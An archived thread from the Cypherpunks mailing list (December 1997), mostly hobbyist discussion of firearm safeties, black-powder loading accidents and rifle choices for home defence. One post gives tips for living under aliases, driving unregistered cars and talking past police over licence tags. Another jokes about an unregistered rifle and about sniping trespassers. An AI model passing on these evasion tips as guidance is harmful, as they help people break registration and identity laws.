ubiquitous military .45 (1911A1) while one can easily insert a magazine 
with the gun on safe, it isn't truly loaded til a round is chambered 
which involves coming out of safe to rack the slide .... as far as I am 
concerned the only 'safe' safety on a .45 is the half-cock position. I 
have seen a number of malfunctions of the thumb safety and the grip 
safety as well as the barrel disconnect safety.

 In another message someone commented on not dropping a .45 with the 
hammer back ... I have a friend in NJ who commanded another platoon in my 
recon company in Nam. He jumped down off a parapet and his .45 bounced 
out of his flak jacket pocket and went off putting a large hole in his 
foot (for which he earned the nickname "Quick Draw"). It had been in 
'condition 1' (full magazine inserted, round chambered, hammer at full 
cock, thumb safety on), but went off anyway. The armorer later said none 
of the parts seemed damaged or particularly worn, it just went off ... I 
am sure there's dozens more stories of loaded 45's going off when dropped.


Brian B. Riley --> http://members.macconnect.com/~brianbr
 For PGP Keys  

  "Civilization is the progress toward a society of privacy. The
   savage's whole existence is public, ruled by the laws of his tribe.
   Civilization is the process of setting man free from men."
    -- Ayn Rand - The Fountainhead (1943)







From ravage at ssz.com  Mon Dec 22 23:14:41 1997
From: ravage at ssz.com (Jim Choate)
Date: Tue, 23 Dec 1997 15:14:41 +0800
Subject: Lock and Load (fwd)
Message-ID: <199712230733.BAA23536@einstein.ssz.com>



Forwarded message:

> Subject: Re: Lock and Load (fwd)
> Date: Tue, 23 Dec 97 01:45:53 -0500
> From: "Brian B. Riley" 

> >Would you be so kind as to give a specific example of a bolt action,
> >semi-automatic, or automatic rifle that can't be loaded on safe? I have
> >never seen a rifle that wouldn't allow this.
> 
>   Remington Model 8 semi-automatic rifle (circa 1905-1930+) there is one 
> (high three digit serial number made in 1906) chambered in .35 Remington 
> on the wall about 30 feet from where I am sitting. It's safety is right 
> side mounted and not only blocks the trigger but locks the bolt forward 
> both internally and externally by blocking track for the bolt handle, it 
> must be off to draw the bolt back to load the internal five round 
> pushdown magazine.

Right mounted safety? Sounds like a lefties gun. Safeties are usualy thumb
tripped which means they are on the left. The idea is you can safety the
weapon without taking your finger from the trigger. That could explain the
loading problem, guns built for lefties typicaly have all kinds of weird
handling issues. It sounds to me like a real nightmare to load and use in
the bush since you have to take your hand off the gun in order to get the
safety off while you load another round while cycling the bolt through its
action - eliminates snap shots that's for shure. Do you know if it is a
lefty build? If so then it clearly isn't a military grade weapon since they
are ubiquitously designed for right handed firers (at least until the last
20 yrs. or so).

Once the clip is in place, top feed since you said "push down", does the
safety prevent the cycling of ammo through the breech? Does it use a
stripper clip or a carrier? You don't happen to know the type of action?

Is this a military grade weapon or sport?

> >A parallel pistol example would be nice too, if you're so inclined.
> 
>  I don't know of any pistols .... except that in the case of the 
> ubiquitous military .45 (1911A1) while one can easily insert a magazine 
> with the gun on safe, it isn't truly loaded til a round is chambered 
> which involves coming out of safe to rack the slide

Interesting since the 1911 I use doesn't exhibit this ... I don't
have a problem loading it irrespecitive of the safety. If the safety is on
the hammer is blocked from the bottem by a lever. You can put ammo in it,
cock it via the slide, etc. Just can't pull the trigger. Will have to look
more into this...

Thanks for the info.

Merry Christmas!


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From brianbr at together.net  Mon Dec 22 23:19:27 1997
From: brianbr at together.net (Brian B. Riley)
Date: Tue, 23 Dec 1997 15:19:27 +0800
Subject: Lock and Load (fwd)
Message-ID: <199712230715.CAA31542@mx01.together.net>



-----BEGIN PGP SIGNED MESSAGE-----

On 12/22/97 9:41 PM, Jim Choate (ravage at ssz.com)  passed this wisdom:

>As to the loading of the ball onto the gun-powder - you won't do it 
>the waydescribed above but once. The black powder will go off on 
>about the 3rd tapand you won't have the two hands it takes to load 
>a muzzle-loader. If you*ever* load a black powder be *absolutely 
>shure* that there is a ball pad between the gun powder and the 
>ball. It is *not* there for barrell sealingor some other silly 
>explanation - it's there to inhibit compressive explosion of the 
>black powder.

   It may indeed serve that purpose, but the patch does serve as a
sealant and when set up with the right lubricant it cleans the bore on
the way out. This gave birth to the expression "one shot clean" - done
right the bore is more or less always dirty from the last shot only as
that shot cleaned the residue of the prior shot out by it lubricated
patch. Civil war era muskets and later used a Minie ball, which was no
ball at all but a tapered projectile which had no patching at all,
just 5-700 grains (for a 58 cal musket, lighter for .45 and .50) of
pure soft lead with a dab of lubricant in the hollowed base.

>... Don't believe it, go down to the hardware orfeed 
>store and buy a small can of black powder. Then get a 3/4" pipe 
>andcap. Put only one or two flakes of the black powder on the 
>threads and thentighten with a pipe wrench (wear gloves, glasses, 
>and apron). After about a half turn or so you should hear a 
>distinct snapping sound. This is the blackpowder going off. This is 
>what will happen if black powder gets between theball and barrel 
>while you're tapping - and there's a *lot* more gunpowder than a 
>couple of flakes to take your hand (and your face if you're 
>sillyenough to be leaning over the barrel which is where not 
>looking down the barrel of a gun comes from).

 Quite right, but there's one more caveat you forgot here, Jim, when
using the rod to tamp the ball down, its done with one hand with the
rod held between two fingers. You sort of 'throw' the rod down onto
the bullet, actually letting go, never holding the rod firmly and
*never* putting your hand on top of the rod to push it down. (I saw
one guy get a rod from a 58 cal three band Enfield shot through his
hand at a musket shoot once and more than a few rods shot through
rooves or into roof timbers in the shooting sheds or several hundred
feet through the air on open ranges)

Friction isn't the only source of stray ignition, powder embers from a
prior shot when doing rapid fire shooting has been a common culprit.
We had one musket shoot on a god awful hot sunny summer day and by the
sixth and seventh rapid fire shots in the midday shooting the muskets
were hot enough to cook off powder when combined with a little bit too
forceful tamping, we had to curtail shooting til later in the day.

All in all, the guys who had to use muzzle-loading weapons in war,
personal defense, and hunting had to have been an adventuresome lot,
todays weapons are boring in comparison.

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQEVAwUBNJ9kYz7r4fUXwraZAQGdWQf/QsP8OdDTpTvg2mIbe8v7/ovuPxLPJAwK
BPYaOYTAYHKX3LqA+mxj5lx22K+7GufmrDsgL2WwS+sy/ZS/j2jdIKtr64QSXhg5
sIL66Oi1iyMgU/OJyLTCCAdbp5wTSfheznVzdNeee/N9xe0XNPCPoRhXpAYpyLh4
PZVkZ9BQSTV5mbuwLXy16c7yRCxoEaMrjR7GSQY6Y+/ycKnwq7oKWBbVAdg3pQVW
4a0vj6bT+HM8l1w6jvEALg4zSkz/vs2RvnJfYUvs4Xo6A4rqfTr96xfQyp6TH5oL
83V2yAa4EyTHoGpAVs7ANz7M7lnNo1QML9k8Z/oC1YznJdyFn4wFTw==
=Tizl
-----END PGP SIGNATURE-----


Brian B. Riley --> http://members.macconnect.com/~brianbr
 For PGP Keys  

  "Frisbeetarianism, n.: The belief that when you die, your soul goes
   up on the roof and gets stuck."  -- author unknown







From brianbr at together.net  Mon Dec 22 23:20:58 1997
From: brianbr at together.net (Brian B. Riley)
Date: Tue, 23 Dec 1997 15:20:58 +0800
Subject: Lock and Load (fwd)
Message-ID: <199712230717.CAA31571@mx01.together.net>



-----BEGIN PGP SIGNED MESSAGE-----

On 12/22/97 11:37 PM, Igor Chudov @ home (ichudov at Algebra.COM)  passed
this wisdom:

>I could field strip an AK (mind you, with all military gadgets) in 11
>seconds and assemble it back in 21 seconds.
>
>What crypto relevance does it have?

 Maybe it keeps Timmy happy to talk about guns ;-)
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQEVAwUBNJ9lsj7r4fUXwraZAQE69wf9ETIRbPnEIxYn5JPfyvrl8I2Mw+UWauvA
LkhrI+OV2XCBvXpx+/CxAvbE3I+M0EFtYAScmNc4M+b6fZzuHxptcqvO2X+MBh/k
BQyLqopDw6aB7pZPWNjHsyHJtA4goftRx030mrF/oGf032E/0R9TVTy1uXsml1EP
OO7YJTzHJ+3c5VnufLNHjyEvwKlYmdSaPuOyK3Ov69reUPpAXcj3jVdijXm5XZp7
S1rdt/1Ez74yBvyEdjNXqfeQTH1VHpO5CS2pEJGE+gGPL4Z8wrCLgBJ4mHmwqSO/
9SkGK9kRZ7FVMHPjTLnjCzKdgjDvv3tClJvYF1Mm9APKpTgPYnHpAA==
=2Woq
-----END PGP SIGNATURE-----


Brian B. Riley --> http://members.macconnect.com/~brianbr
  For PGP Keys  

 "The idea that Bill Gates has appeared like a knight in shining     
  armour to lead all customers out of a mire of technological        
  chaos neatly ignores the fact that it was he who, by peddling      
  second-rate technology, led them into it in the first place.       
			-- Douglas Adams, on Windows '95   	       







From tcmay at got.net  Mon Dec 22 23:40:27 1997
From: tcmay at got.net (Tim May)
Date: Tue, 23 Dec 1997 15:40:27 +0800
Subject: Best Cypherpunk long gun
In-Reply-To: <199712230611.WAA27275@sirius.infonex.com>
Message-ID: 



At 11:11 PM -0700 12/22/97, Mix wrote:
>What is the best long gun for a Cypherpunk?

(This is probably some sort of troll, but I'll answer it anyway.)

For what purpose? For what range? How much money do you want to spend?

I can tell you that for close quarters defense, against Home Invaders (of
either the Vietnames gang sort or the Washington gang sort), I count on an
Olympic Arms OA-96 pistol, in .223. Though technically a pistol, because of
the 6.5-inch barrel and pistol grip, it fires 30 rounds of high-speed .223
Remington, able to rip through ballistic vests like butter. The small size
makes it manouverable in tight quarters. It has a laser on it, and I also
use the HoloSight described below on it.

For slightly greater ranges, e.g., during daylight, I have a Colt HBAR
Match Target rifle (essentially a Colt AR-15, though that was banned during
the Recent Statist Action, and so the name had to change, along with a few
cosmetic features). This also fires a .223 round, of course, as it is the
standard U.S. military rifle. The HBAR is mounted with a Bushnell
HoloSight, a zero-magnification holographic reticle system, similar to a
"red dot" system (but better). Two-inch groups at a hundred yards are easy
to obtain (limited more by the scope than by the rifle).

(There are rumors that I bought a genuine Colt AR-15 in 1975 and have not
registered it, as required by fascist Kalifornia law. I could tell you if
this is true, but then I'd have to shoot you.)

I also have a Ruger Mini-14 in .223, though I'm not sure it fills a useful
niche. And a Winchester Model 94, a classic cowboy lever action, in .44
Magnum. Again, not necessarily a mainstream gun.

For defending the _perimeter_ of my property against Those Who Would
Trespass, I count on a Remington Model 700 "varmint" rifle, chambered in
.308 (or 7.62 NATO). It's a bolt-action, but the expected use is for
long-range (300 meters) use, aka "sniping." The usual high-power scope.
This rifle is capable of sub-MOA (minute of angle) groups, meaning less
than 1-inch groups at a hundred yards.

Were I to recommend one rifle to meet most needs, it would be some variant
of the AR-15, from Colt or Bushmaster or Olympic Arms, etc. About $800 for
a common variant. No need for a collapsible stock.  This will handle social
needs from short range, to a few hundred yards (maybe more).

There are those who recommend a cheaper SKS or AK-47 variant. I've never
owned one, so can't honestly comment. The concensus in rec.guns and
misc.survivalism seems to be that the AR shoots better and more accurately,
but the AK-47 is more forgiving of bad conditions, dirt, etc. Inasmuch as I
don't expect to be in the desert, or even any mud, I'll take the more
accurate piece.

(The notion that the AR-15/M-16 "jams" is based on 35-year-old early
experiences in Viet Nam, using an early design and early ammo. The jamming
problems were fixed quickly, by changing the forward assist, changing the
ammo a little, and teaching soldiers how to properly clean the weapon.)

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From brianbr at together.net  Mon Dec 22 23:42:58 1997
From: brianbr at together.net (Brian B. Riley)
Date: Tue, 23 Dec 1997 15:42:58 +0800
Subject: Lock and Load (fwd)
Message-ID: <199712230740.CAA07602@mx02.together.net>



On 12/23/97 2:33 AM, Jim Choate (ravage at ssz.com)  passed this wisdom:

>Right mounted safety? Sounds like a lefties gun. Safeties are usualy thumb
>tripped which means they are on the left. The idea is you can safety the
>weapon without taking your finger from the trigger. That could explain the
>loading problem, guns built for lefties typicaly have all kinds of weird
>handling issues. It sounds to me like a real nightmare to load and use in
>the bush since you have to take your hand off the gun in order to get the
>safety off while you load another round while cycling the bolt through its
>action - eliminates snap shots that's for shure. Do you know if it is a
>lefty build? If so then it clearly isn't a military grade weapon since they
>are ubiquitously designed for right handed firers (at least until the last
>20 yrs. or so).
>
>Once the clip is in place, top feed since you said "push down", does the
>safety prevent the cycling of ammo through the breech? Does it use a
>stripper clip or a carrier? You don't happen to know the type of action?

 It was the first cicilian marketed semi-auto in the country ... the 
right hand safety can be operated and usually is by the thumb of the 
right hand its a big flat lever with a good sized tab on it, just extend 
the right thumb and push down. The magazine was a non removeable clip 
that could only be loaded from the top, no stripper clips. The one 
drawback to the weapon was it was a top eject and the it was said that 
the ejecting shell distracted the eye of the shooter, personally I got 
used to that within the first 100 round I fired with it.

>Is this a military grade weapon or sport?
>
>> >A parallel pistol example would be nice too, if you're so inclined.
>> 
>>  I don't know of any pistols .... except that in the case of the 
>> ubiquitous military .45 (1911A1) while one can easily insert a magazine 
>> with the gun on safe, it isn't truly loaded til a round is chambered 
>> which involves coming out of safe to rack the slide
>
>Interesting since the 1911 I use doesn't exhibit this ... I don't
>have a problem loading it irrespecitive of the safety. If the safety is on
>the hammer is blocked from the bottem by a lever. You can put ammo in it,
>cock it via the slide, etc. Just can't pull the trigger. Will have to look
>more into this...

  agreed ... but .. my point is that racking the slide to chamber a round 
invlved bring the weapon to full cock, which, considering the abysmal 
track record of the the thumb safety removed the weapon from the only 
really safet state which was half-cock ... but that is maybe splitting 
hairs ...

Merry Christmas to you too ... we here in Vermont are having a *very* 
white Christmas already with more snow coming tonite and tomorrow ...



Brian B. Riley --> http://members.macconnect.com/~brianbr
 For PGP Keys  

 "When hell freezes over, grab your ice skates."
      -- Mark Johnson







From landon at best.com  Mon Dec 22 23:50:09 1997
From: landon at best.com (landon dyer)
Date: Tue, 23 Dec 1997 15:50:09 +0800
Subject: Best Cypherpunk long gun
In-Reply-To: <199712230611.WAA27275@sirius.infonex.com>
Message-ID: <3.0.3.32.19971222234123.00a223b0@shell9.ba.best.com>



At 10:11 PM 12/22/97 -0800, you wrote:
>
>What is the best long gun for a Cypherpunk?

  A Solothurn, natch.  For those who don't know:  A circa 1938 20mm
anti-tank rifle; be sure to get the high power telescopic sight.  Why
screw around?  :-)


-landon

 [read _unintended consequences_; as john brunner said: "move in with it"]






From ravage at ssz.com  Tue Dec 23 00:09:30 1997
From: ravage at ssz.com (Jim Choate)
Date: Tue, 23 Dec 1997 16:09:30 +0800
Subject: Best Cypherpunk long gun (fwd)
Message-ID: <199712230829.CAA23909@einstein.ssz.com>



Forwarded message:

> Date: Mon, 22 Dec 1997 23:34:51 -0700
> From: Tim May 
> Subject: Re: Best Cypherpunk long gun

> Were I to recommend one rifle to meet most needs, it would be some variant
> of the AR-15, from Colt or Bushmaster or Olympic Arms, etc. About $800 for
> a common variant. No need for a collapsible stock.  This will handle social
> needs from short range, to a few hundred yards (maybe more).
> 
> There are those who recommend a cheaper SKS or AK-47 variant. I've never
> owned one, so can't honestly comment. The concensus in rec.guns and
> misc.survivalism seems to be that the AR shoots better and more accurately,
> but the AK-47 is more forgiving of bad conditions, dirt, etc. Inasmuch as I
> don't expect to be in the desert, or even any mud, I'll take the more
> accurate piece.

I would go for a HK 93 or G3 model myself w/ Zeiss 3x9 scope w/ some sort of
laser designator for long range (> 200 yds.). Chambered in .308 and will give
about a 4 to 6-in. group at 600 yds. from what I have seen - very handy for
shooting throug 4 in. brick walls as well. Very accurate (a very popular
sniper weapon) and more than forgiving with the environment. It's little
brother the MP-5 pretty much owns the SWAT and similar sorts of jobs.

A Desert Eagle chambered in .357 (you just *think* those .223 go through
vests) would be my close in choice.

Course you ain't gonna touch the HK for less than a few $k and the Desert
Eagles are over $1k.

> (The notion that the AR-15/M-16 "jams" is based on 35-year-old early
> experiences in Viet Nam, using an early design and early ammo. The jamming
> problems were fixed quickly, by changing the forward assist, changing the
> ammo a little, and teaching soldiers how to properly clean the weapon.)

Don't worry about it - go with a HK and you can fill the chamber with gunk
and the next cycle of the blowback bolt system will clear it. Excellent all
weather weapon. It'll even fire if un-oiled - not something you should do
with a M16/AR15.


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From anon at squirrel.owl.de  Tue Dec 23 00:16:18 1997
From: anon at squirrel.owl.de (Secret Squirrel)
Date: Tue, 23 Dec 1997 16:16:18 +0800
Subject: Get your Anthrax shots
Message-ID: 



>Well I don't know about you Tim but my Doctors only know me as Mr. Cash.
>:)

How'd you pull that one off? All kinds of personal information, including
your name, is included in medical records which the doctors have to keep up
to date and reference. When you go in you'd have to give them your name.

Now on the other hand I suppose you could go in, say you don't have
insurance, give a fake name, and pay in cash always. It would still be
trivial to ambush you at a scheduled doctor appointment. And I think
Klintonkov has done a good job of discouraging privately funded medical care.






From whgiii at invweb.net  Tue Dec 23 00:17:06 1997
From: whgiii at invweb.net (William H. Geiger III)
Date: Tue, 23 Dec 1997 16:17:06 +0800
Subject: Best Cypherpunk long gun
In-Reply-To: 
Message-ID: <199712230812.DAA12771@users.invweb.net>



-----BEGIN PGP SIGNED MESSAGE-----

In , on 12/22/97 
   at 11:34 PM, Tim May  said:

>There are those who recommend a cheaper SKS or AK-47 variant. I've never
>owned one, so can't honestly comment. The concensus in rec.guns and
>misc.survivalism seems to be that the AR shoots better and more
>accurately, but the AK-47 is more forgiving of bad conditions, dirt, etc.
>Inasmuch as I don't expect to be in the desert, or even any mud, I'll
>take the more accurate piece.

Well with my M ...er AR15, yeah AR15, I have sloped it through all kinds
of crap in the field with little trouble. While I have used the A2 models
I have not done extensive field testing with it. The increase in barrel
length seems to be a plus but I have concerns with the change in design of
the sight adjustments and how well they hold up under adverse conditions.
Myself I have never liked scopes on a field weapon, too much of a hassle
better reserved for hunting/snipping.

Never had any serious jamming problems with the exception of using blanks.
Nasty things, never could get through a clip without a jam. Thank god I
never have to use those things anymore, now if only someone could come up
with a "clean" tracer round. :)

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a-sha1
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNJ9x0o9Co1n+aLhhAQKu0QQAu/024jxawcGV4FWg2vrvF68N/horMFxa
xCNxOJYIOOg4ZdBIpcNF6S4+833KsA+51bU3yIFVTBeHRczhbplOrQrBO/4x7IkY
qNIeFlkrnHgP5sIsb9zGM6xZW/HO4FYxEjzrOJsaczXTRHAj3FldY6iOofBsKrOV
iYvGbh0eASE=
=AHfW
-----END PGP SIGNATURE-----






From whgiii at invweb.net  Tue Dec 23 00:25:30 1997
From: whgiii at invweb.net (William H. Geiger III)
Date: Tue, 23 Dec 1997 16:25:30 +0800
Subject: Lock and Load (fwd)
In-Reply-To: <199712230740.CAA07602@mx02.together.net>
Message-ID: <199712230822.DAA12877@users.invweb.net>



-----BEGIN PGP SIGNED MESSAGE-----

In <199712230740.CAA07602 at mx02.together.net>, on 12/23/97 
   at 02:41 AM, "Brian B. Riley"  said:

>The one 
>drawback to the weapon was it was a top eject and the it was said that 
>the ejecting shell distracted the eye of the shooter, personally I got 
>used to that within the first 100 round I fired with it.

It does eliminate the problem for a lefty shooting a standard right
ejector. The M16 has an adaptor for the ejector but you don't want to be
next to someone using it on the range (I learned this one the hard way,
trying to remove hot shells from underneath one's shit and flack jacket is
not the most fun of tasks).

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a-sha1
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNJ90P49Co1n+aLhhAQLUrQP/e3PPTB664TxHqfZtWkX6L2LrtIVjvpbi
NKLRdNrT+NAr9HXCIvIyaRjGwE2M/pa8MkuJrqcmHd6jDD8Jc4zKVmZKwowLxr05
joT9h9vJicLmodJjH1xSFIYMfU9RFbBAFWmX8puJ+IQecb9rIYQBysPfOVgFQCG3
ka/y4/9NMho=
=Ds0I
-----END PGP SIGNATURE-----






From ravage at ssz.com  Tue Dec 23 00:32:47 1997
From: ravage at ssz.com (Jim Choate)
Date: Tue, 23 Dec 1997 16:32:47 +0800
Subject: Lock and Load (fwd)
Message-ID: <199712230852.CAA24130@einstein.ssz.com>



Forwarded message:

> Subject: Re: Lock and Load (fwd)
> Date: Tue, 23 Dec 97 02:41:03 -0500
> From: "Brian B. Riley" 

>  It was the first cicilian marketed semi-auto in the country

This doesn't use a Mauser 1898 action does it? The top feed 5-round clip is
my first clue...

As to first semi-automatic in the country, I believe  the Springfield 1903
has that particular honor. It used a Mauser '98 action also. It's also where
.30-06 got the 06 from...also very popular in WW1 and used as a sniper rifle
through Normandy, after which the Garand pretty much took over.

> ... the 
> right hand safety can be operated and usually is by the thumb of the 
> right hand its a big flat lever with a good sized tab on it, just extend 
> the right thumb and push down.

How can that work if the R. thumb is on the L. side of the gun while the
safety is on the R. side of the gun? Your description leaves me with one of
two mental images. Either my hand is off the trigger guard and I have a loaded
and unsafed weapon or else I have to do some sort of finger gynmastics
around the trigger guard in the same unsafed condition. Scares the be-jesus
out of me...an errant twig could fire a round.

> The magazine was a non removeable clip 
> that could only be loaded from the top, no stripper clips. The one 
> drawback to the weapon was it was a top eject and the it was said that 
> the ejecting shell distracted the eye of the shooter, personally I got 
> used to that within the first 100 round I fired with it.

Yep, bet this is some sort of Mauser '98 action...

> Merry Christmas to you too ... we here in Vermont are having a *very* 
> white Christmas already with more snow coming tonite and tomorrow ...

We're supposed to get rain and more rain starting tomorrow. They say it might
be clear on Christmas but the rain returns on Friday...;(

Stay warm & thanks for the discussion.


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From whgiii at invweb.net  Tue Dec 23 00:58:59 1997
From: whgiii at invweb.net (William H. Geiger III)
Date: Tue, 23 Dec 1997 16:58:59 +0800
Subject: Get your Anthrax shots
In-Reply-To: 
Message-ID: <199712230857.DAA13150@users.invweb.net>



-----BEGIN PGP SIGNED MESSAGE-----

In , on 12/23/97 
   at 08:01 AM, Secret Squirrel  said:


>>Well I don't know about you Tim but my Doctors only know me as Mr. Cash.
>>:)

>How'd you pull that one off? All kinds of personal information, including
>your name, is included in medical records which the doctors have to keep
>up to date and reference. When you go in you'd have to give them your
>name.

>Now on the other hand I suppose you could go in, say you don't have
>insurance, give a fake name, and pay in cash always. It would still be
>trivial to ambush you at a scheduled doctor appointment. And I think
>Klintonkov has done a good job of discouraging privately funded medical
>care.

I make it a strict policy of paying cash for everything when possessable.
Outside of my pediatrition from my childhood no doctor has records on me
(at least none with my name attached to them). I don't deal with fake
names or any other attempts to deceive my doctors. I just simply tell the
that I am paying cash and I wish to keep all my records, end of
discussion. I have yet to have a doctor or dentists protest over this (BTW
I don't deal with the hired help in the doctors office but deal directly
with the person in charge). With the tax rates these professions pay cash
paying customers get red carpet treatment.

Now I have never had to be hospitalized. This is rather tricky but if it
is a non-emergency admission I would talk with directory of the hospital.
I think that you will find that displaying several thousand $$$ in cash
will go a long way in preserving one's anonymity. :)

The same thing back when I was renting. I always payed in cash and did not
have a real name associated with my address. When one produces 6mo rent up
front in cash very few questions are asked. Getting utilities turned on
under an alais is a trivial matter. Mail and packages can be drop shipped
to a local (or not so local) FedEx or UPS office.

Another thing is I do not have any ID with the state that I reside in.
Currently I am living in one state, my DL is in another state, and my
License plate is in a 3rd. There is also a trick for driving a car without
ever having it registered but I woun't go into that here. :) I actually
drove a small Nissan stationwagon for 8mo. in KCMO without any tags on it
at all. BTW *never* drive on stolen tags. You can always BS your way out
of expired tags, tags off another car (that you own), or even no tags at
all but you just can't BS your way out of stolen tags.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a-sha1
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNJ98a49Co1n+aLhhAQK6agQAl4+HeDYgfSgBIgb5xE8WhJRZe+2x+38+
opMq6sD+w2yLM/pHDrH/feADPz8B5NulkIruHTN3KvcbBRJwD+EAlOOR23u5PRLz
PRTtXXLpCTG64CH0bvVQG0lLiHaxwuCeSlE1nbXL4dj2eul9A3/5Q7Uoby9vTY7k
UpfGpEz/GSI=
=ZeQy
-----END PGP SIGNATURE-----






From tcmay at got.net  Tue Dec 23 01:07:15 1997
From: tcmay at got.net (Tim May)
Date: Tue, 23 Dec 1997 17:07:15 +0800
Subject: Best Cypherpunk long gun (fwd)
In-Reply-To: <199712230829.CAA23909@einstein.ssz.com>
Message-ID: 



At 1:29 AM -0700 12/23/97, Jim Choate wrote:

>I would go for a HK 93 or G3 model myself w/ Zeiss 3x9 scope w/ some sort of
>laser designator for long range (> 200 yds.). Chambered in .308 and will give
>about a 4 to 6-in. group at 600 yds. from what I have seen - very handy for
>shooting throug 4 in. brick walls as well. Very accurate (a very popular
>sniper weapon) and more than forgiving with the environment. It's little

 I can't agree that the HK 91 (the .308 version) is a popular sniper
weapon. Very few are in use in the U.S. (Heckler and Koch does have the
PSG-1, but at $10K it's too steep for U.S. departments).

For sniper work, a bolt-action is by far the most popular piece. The
Remington PSS (Police Sniper Special, as I recall) is common. (I almost got
this model, but like the Varmint Synthetic--Stainless Fluted (VS-SF) a bit
more.)

Check out Plaster's "The Ultimate Sniper" for more on current sniper
weapons, current as of 1994-5.

I'm also skeptical about lasers, for daylight use. The three lasers I have
owned have been good for indoor use, but visibility outdoors during the day
is very poor.

(IR lasers with IR night vision gear is another matter, but also another
price matter, too.)


>brother the MP-5 pretty much owns the SWAT and similar sorts of jobs.


>Course you ain't gonna touch the HK for less than a few $k and the Desert
>Eagles are over $1k.
>

Speaking of the MP-5, I had the civilian model, the SP-89, for a few years.
This had a laser on it. Fun to shoot, but the 9mm rounds are too wimpy for
my taste. (Considering the targets I'm preparing to defend myself against
are wearing body armor.)

I sold the SP-89 for $2400, well over twice what I paid for it. BTW,
getting a functioning, legal MP-5 will cost more like $5K. Hardly worth it.


--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From nobody at bureau42.ml.org  Tue Dec 23 01:31:24 1997
From: nobody at bureau42.ml.org (bureau42 Anonymous Remailer)
Date: Tue, 23 Dec 1997 17:31:24 +0800
Subject: No Subject
Message-ID: 



At 10:11 PM 12/22/97 -0800, you wrote:
>What is the best long gun for a Cypherpunk?
>
>
308 Winchester would be a pretty good all around choice.  You would be a little over gunned for some of the smaller ones, however.







From sheriff at speakeasy.org  Tue Dec 23 02:32:34 1997
From: sheriff at speakeasy.org (The Sheriff)
Date: Tue, 23 Dec 1997 18:32:34 +0800
Subject: Completely anonymous communications ARE only for "Criminals"
In-Reply-To: <19971220182004.12276.qmail@nym.alias.net>
Message-ID: 



-----BEGIN PGP SIGNED MESSAGE-----

>> :Why would a pager company want to block calls from pay phones?
>>
>> Because they (the pager companies) have been ordered to pay the charges
>> related to calls made to their service from pay phones.  18.5 cents per call
>> was the number the fed agreed to.  Keeping up with the telecommunications
>> industry is difficult, eh?

Very interesting.  That hasen't hit my area, as far as I know.

In addition, paging from a pay phpne (at least, where I'm located)
is of no use unless you're using a telephone number to alert the
owner of the pager to your location (which makes it easier to find
my friends, granted), since pay phones have been re-hardwired to
reject incoming calls.

Best wishes and fresh-roasted peanut taste,
The Sheriff. -- ******
- ---
